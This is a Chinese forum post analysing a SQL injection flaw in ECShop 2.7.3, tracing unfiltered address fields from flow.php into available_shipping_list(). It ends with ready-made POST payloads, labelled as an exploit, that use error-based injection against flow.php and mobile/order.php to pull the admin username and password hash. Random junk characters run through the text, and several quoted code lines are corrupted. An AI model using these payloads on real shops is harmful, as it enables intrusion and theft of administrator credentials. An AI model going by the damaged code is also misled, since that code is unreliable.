前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。. z1 l" @" `$ W0 [8 h( K
5 ^# T- `* B1 F# V( w' \
漏洞关键文件:5 b; g( e7 g+ ?+ b J+ v/ a
, P. x) N4 }+ Q6 w8 d /includes/lib_order.php3 _1 D8 H g& ?/ N4 |4 O D
8 `; Q" P! @( u0 U8 Z" H 关键函数: p+ @9 N2 ^6 \2 P7 ]# j
* z2 g5 v) [: x/ D! f
$ u+ S- H t3 P+ X( Z6 n5 V
; ~. P- {( V" w4 u01 function available_shipping_list($region_id_list)
5 R- l7 @# q9 U+ [' _, B( ^5 G' Q6 i( M. ]
02 {
8 p$ M# E0 J/ i6 I0 I3 c/ q0 z& _* X$ ^ a9 l
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ i: u+ A, w$ {& w& D: |& O+ F$ g$ }6 s) j
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 6 j% D9 ~1 x0 i( g7 ]9 G+ A
5 m) y/ }( i& R% o
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 9 Q8 W1 B. `( T/ A; \% r$ q5 C" S
* T7 s6 e, g# u# {06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . , c) u! x0 e: _' U
# [1 g% q! E) Z" G6 Q' y& r9 |8 K
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; O4 X' K' l9 O
' N9 d9 I: W( L0 P: b08 'WHERE r.region_id ' . db_create_in($region_id_list) .
# n6 x7 p& _: P: T6 T1 m
$ n! ^' w7 R0 x3 ]0 S: d09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; , s7 o# Z: e+ x# Z0 K* ^* x
; ?! }+ y9 s% X9 b. h( F- G10
/ P, t' U# y) i" W/ J2 J, h: M" ]" z- F9 r8 c H3 v ]6 Y
11 return $GLOBALS['db']->getAll($sql);
2 J9 q8 z2 v- Y8 ] G3 H4 O5 ?& v8 V$ H( k0 Z
12 }
: a6 q4 ~6 ?2 u% |$ q; H# |+ i: m) f. e6 v( h# g# ?
显然对传入的参数没有任何过滤就带入了查询语句。* r* r+ q9 s/ C1 ~( a
# J: l3 M7 f( x0 D% e3 q% Q) B下面我们追踪这个函数在flow.php中:4 X- S% {# W6 I) H4 _. B, L8 w& H
第531行:
( ?6 Y* w! u0 l) {. r* I+ m' K8 K) y; Q
1 $shipping_list = available_shipping_list($region);
# q4 \8 J5 l: {$ z% u g) L5 F1 e( p* m2 ?* B# O- G/ _
" M' ?! ^/ M; |
+ ^1 U. _. \( T
+ E% F: t2 x: L! p: x& W. t1 N* B# m$ c. H5 r- o( G) B
再对传入变量进行追踪:
& C/ Z3 b. D& ~" T( T. A& j' c9 ?* `5 m4 y
第530行: * l. O" r/ b- v6 ]1 |9 ~) k
2 j6 m9 E7 w: q
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); + L/ ` ?$ [/ t& f. E
Z# C0 r: J- e, a
7 ?9 `: \! g, b
6 D/ k9 I2 @: N! s1 a7 I+ f0 L
! }, m! Z4 K& m/ X- I
+ |: c/ x- f' H( x' x/ b第473行: ; i. `1 f$ T' M* _
) t& a7 r0 u" R1 }' _
1 $consignee = get_consignee($_SESSION['user_id']);
* q3 \- L: ~$ t2 o2 W/ H( {4 ~8 [( ]9 B
到了一个关键函数:. V8 m& x6 @: N+ L0 s, c
2 c; e$ d# g& [( W" D) t. W! F# L/includes/lib_order.php, F" G. ^4 o2 ~$ {4 g" X
% W! j% Z: z$ I7 D) Z
2 A( o+ y$ ^3 k# U4 z1 k- l" X
: Y" z) p- E5 N/ ]+ K% \
( r& }! [0 T$ B! {9 d1 C' u
1 O) V; S6 K4 S8 a) D
01 function get_consignee($user_id) 6 M2 ]! U' u9 A# b) a6 p3 R* a
' v( D; I \8 i+ J9 {8 r' L02 { * V5 f9 l, v n2 l: |& S1 k: \
5 A& a* Z0 {, G7 r" \, |& s9 s
03 if (isset($_SESSION['flow_consignee'])) 1 x- U) H9 w6 L+ P/ ]0 e
! k) @ Z6 z6 _- s( |$ _" T04 {
# |" ~4 L2 j) K9 f
+ u1 o4 @0 V, b% U05 /* 如果存在session,则直接返回session中的收货人信息 */ 0 @; m) a* @, c0 _$ }5 X F: Q5 u
1 D0 I. n& ]6 V6 T
06
/ y! l8 w: A# p8 ^: t( m
* b; r8 e6 y3 F8 S07 return $_SESSION['flow_consignee']; ' k" h! E8 }* x3 N* [. X% H
, N5 n8 I- V" x" N! [
08 } 7 T9 @: _' B" F$ @
5 J% U% `# c1 F. {7 l
09 else
; f. W% J: h1 Q2 ^8 Z
& V8 ~4 t3 X9 p0 J/ B10 {
; p. w0 x( n1 Y* G* e% C8 r- M8 W. j# ?" z
11 /* 如果不存在,则取得用户的默认收货人信息 */
7 h8 S: L" L/ q7 [: m
% `% R- Y+ n, e' a% I12 $arr = array();
- c# I% ] }$ y/ e2 B; u i) L! N
13
1 C: [4 @4 W2 G+ m% ^
. i: v" H9 b1 d0 M9 b14 if ($user_id > 0)
5 w! X z6 r ~3 R+ v* r
$ U" y7 V" ^9 ]/ Y% C- n3 r& `9 H15 {
1 j/ D2 B% b6 v( K: f$ F
/ T' X* g! [+ x- _16 /* 取默认地址 */
3 n$ ~, e+ R2 O, i7 {5 b, B+ x, \
! X% R) \1 E. n& C) f2 U) _& D$ C17 $sql = "SELECT ua.*". 7 H+ M z+ F! [9 W
0 o+ u, S% [# s& V18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. $ f! Z: V. Z* c$ O
" `$ W! ]2 f4 o# J& L0 t7 |7 f
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
, E( a2 r$ L2 N7 @1 t" A8 y, g4 J
4 {! [" s9 D0 T& P4 Q. p20
_. C$ j; {& Z0 ]
' l, g, w% N% [" D6 p! t& Q21 $arr = $GLOBALS['db']->getRow($sql);
1 X9 }( b% T6 D9 X& X4 D3 q
' f1 B7 I( u9 v- D2 n3 }' T22 }
" f7 s1 D# n: |) T( i7 j' w7 m
# Y4 P! ]) m0 M) t' l( x4 P+ o6 s23 3 d$ I2 Q7 R; B9 w6 s2 @+ j
4 J. t' ?, g: d# F7 S$ M
24 return $arr;
+ w( v; m d3 l, c8 c: s/ p
5 |+ n6 u3 d; o6 P4 Z25 } , [# I* s# `! Q$ K9 c& f
9 C2 K7 o& w! I0 b7 ~" c26 } * v& w$ p+ m |5 Q* A$ c! N: C
0 S4 n8 P" ?5 d7 _显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?! u9 o. ?% u2 m$ O2 c
* Z% n6 B3 c: K& [8 [
2 j8 @" K0 Z8 }
, t" `, q' \/ M- Q" B7 W
关键点:1 D6 W9 g; B! Z/ W4 c
! x8 w1 \ N; d1 E4 H! T- W/ Z. O第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);$ j! r# S; i1 n- I/ G) O
8 }+ P0 l; d+ M/ L; p
这里对传入参数反转义存入$_SESSION中。
" s3 k6 }; ^/ ]7 G
& b* f! Q# v' J" U F+ m
* C7 f8 K. s) P) g% P9 F' D+ Y: U' a8 Y7 [6 h$ L2 w
然后看下: V( v8 M+ k$ d. i
- p) m9 u6 |; e0 E6 J) z . M# i) w3 _9 U8 q
- l$ O4 d0 t# d7 F0 S: P
( L0 Z1 l8 H! ?3 L/ j( R5 p$ L- E( b
01 $consignee = array( 7 [; t1 a# }1 J& k' b) J% w( `
. v( g3 ?! L' G! a- l" F3 O* Q
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
9 q2 `( N( C# f, @
1 Q9 C6 B, B2 k) U! L( K9 T! ~03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
( r- r- v3 a+ k8 c% H
+ H3 `+ F' x0 M7 U04 'country' => empty($_POST['country']) ? '' _POST['country'],
5 I( U P* d! q3 o
/ a, n! d7 A* M3 S' V! K05 'province' => empty($_POST['province']) ? '' _POST['province'],
* f! |* D9 e& L1 Y
$ N+ |4 x$ o& g/ L) H06 'city' => empty($_POST['city']) ? '' _POST['city'], & Y% V, J$ @7 J: B: u: F
# y* {' _5 m, U" N) N4 X) z
07 'district' => empty($_POST['district']) ? '' _POST['district'],
9 J7 N: L2 |1 ?4 f: u" W' R4 } n
4 c% C2 [- m: [1 c5 {7 t' A08 'email' => empty($_POST['email']) ? '' _POST['email'], 1 X+ d% w! ]9 U p
( m# q _' X# e9 Q8 o: B& }09 'address' => empty($_POST['address']) ? '' _POST['address'], @) f% h' X& r; F/ a; ?
2 @2 T1 f2 T0 i10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
% j A9 z- i- U
- Q3 c- N4 m, L1 l0 W7 ]11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), , @3 l) ^* v1 @# t! N
( g' l1 `! @ h6 ] N! }$ X: A12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 9 r$ e- Y7 V5 p% d2 u
) _& ^* ^- _8 e K2 E5 ~13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
# {* ^, k9 `* Q. u% g+ H& v m. x' [4 s8 t$ O
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], - U" s6 _4 R- d2 e) V) T& `
+ p! k# a( ~# u) c# Q N+ @ I
15 ); " _7 i, ~& K# Q' n/ q9 t. {
. ~7 j1 @. o6 X! R
好了注入就这样出现了。- m B" e. T$ [" J4 B! U
* u8 K/ w# M' d6 ~==================# [' l+ t0 G- T1 a5 v" r
) o( W! l; k- V3 l" Z5 w5 b4 f
注入测试:
; E6 D( n" R q' r9 ^8 @* j& p; b
' l6 Y2 w7 a8 [( l$ B环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16); r7 C2 P! _' G& i0 \6 T/ W3 ]# D+ {: }
, M# a) k( R0 P* L5 z" Z
测试程序:ECShop_V2.7.3_UTF8_release11061 R3 ?& z- [7 _2 \' a# x: k7 e
2 U- u% Y0 r" x' l0 d! m3 v# B9 F* h {
4 K" @& w* T- G
, E: v% a5 a- |% J9 ]* n! C
1.首先需要点击一个商品加入购物车
: J1 W4 q+ m7 _
* ~( Q, J i0 w2.注册一个会员帐号: D- V$ q0 g* i2 ~' }& W P
( u H. h! Z8 a1 k) f3.post提交数据) e: w/ g) w' Z {
! G# U6 C4 X6 H$ @8 A 1 S" p$ b* R! |4 x6 f. c& a* f2 O
; X& I& ] m; E6 L1 http://127.0.0.1/ecshop/flow.php
5 v# P) D# I. U2 c# Q! d% F8 V! \5 k8 q
2 $ F( C# Q9 D& p. c
6 y6 s) ~1 W& J) v5 T4 q r
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= : r+ R0 s+ ~" O, j7 y% w( n [
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
! I) }1 K* R: M6 |7 ]# Y
. g1 o% P) P Z) S+ t) d我们搜寻关键函数function available_shipping_list()0 q6 ~+ |7 W- `( P0 T: q6 v# _
! u/ Y& H4 c, z! ?; c2 N% @在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同" B: g W$ H" L
2 G! q4 r: h' v7 P8 ^
利用exp:
`: g; c2 y4 Y5 w# p0 J c1 {
, Y; z* A, ^! W V. }9 E S1.点击一个商品,点击购买商标# g; M* t5 e5 u- T
+ ~ ]& K3 U/ v! |/ M2.登录会员帐号' h8 n6 q6 ]' k" }0 ?+ b" b
& p0 [( C8 O5 r' I* X, J# |% T3.post提交:
0 j3 g9 ~8 H- g4 P0 d6 x% `. { e: V
http://127.0.0.1/ecshop/mobile/order.php2 E* I4 S* a3 r
: k5 \: L6 X9 {( w9 V - O% e8 e' E( ? p I2 @
; t( x; U. [( Z$ k2 \# D3 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 h. v9 N7 L( _) R& a" f" v- z, M" ?. R l1 R8 t
|